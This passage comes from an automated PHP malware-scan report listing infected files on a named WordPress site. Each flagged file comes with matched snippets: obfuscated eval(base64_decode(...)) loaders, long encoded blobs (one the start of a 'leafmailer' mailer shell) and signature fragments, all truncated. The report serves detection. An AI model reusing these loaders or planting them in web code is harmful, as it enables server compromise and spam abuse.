shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'wzOS2yXij4gf5g3aIdcrSSJmxDZ6+CYN59HfcoaO9uLP8i9+8hHrvYvZ9zj28grOkOu69Xv4x7+bp8xlfR1rxue2qy2wlrXPO6gb3d0uvf/+retHu4lze7uJe7tLfcpCc9A704NT+WjXld8p2vMRaht+24M27qtu8/3Xkc0H/9NmRjSCnxMFuiD31MVOj0S/ZDn/je1MrfvYlzQEoHUOtIW2Ozm+CMWHE4NSvACiSK2c80Sdl/TqObLtpzUTDp/AZKfKTYDkT2e35AETKxNQBGEIH8MsnYZYQo8c/WGhlh9Vcc4uy/vYsOEwseuhQPloIM9pJu7H22bWQPpX92D/1FtasmPt50zu2xvdsiWtUlqrMTQOY9B8C3tclZfTC95L3vjT/crHfz6J/ebkOzrIUiRxWQ1c10bxqedaB9DtvKHMtEvEdhtame83U1vhT/W7M0PguqJ1GkAcQxOxCUNWgZbZB/Yz47IeEPX3PYmc6vJYcdphnl2...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$vbw</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_88").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/cron.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 41.80 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:05</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 14:16:41</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_89" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_89").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/GTjX4sVmNqR.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_90" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_90").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/lxzve.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:16:40</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:16:40</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_91" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_91").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/qxsgj.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:46:14</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:46:14</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_92" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
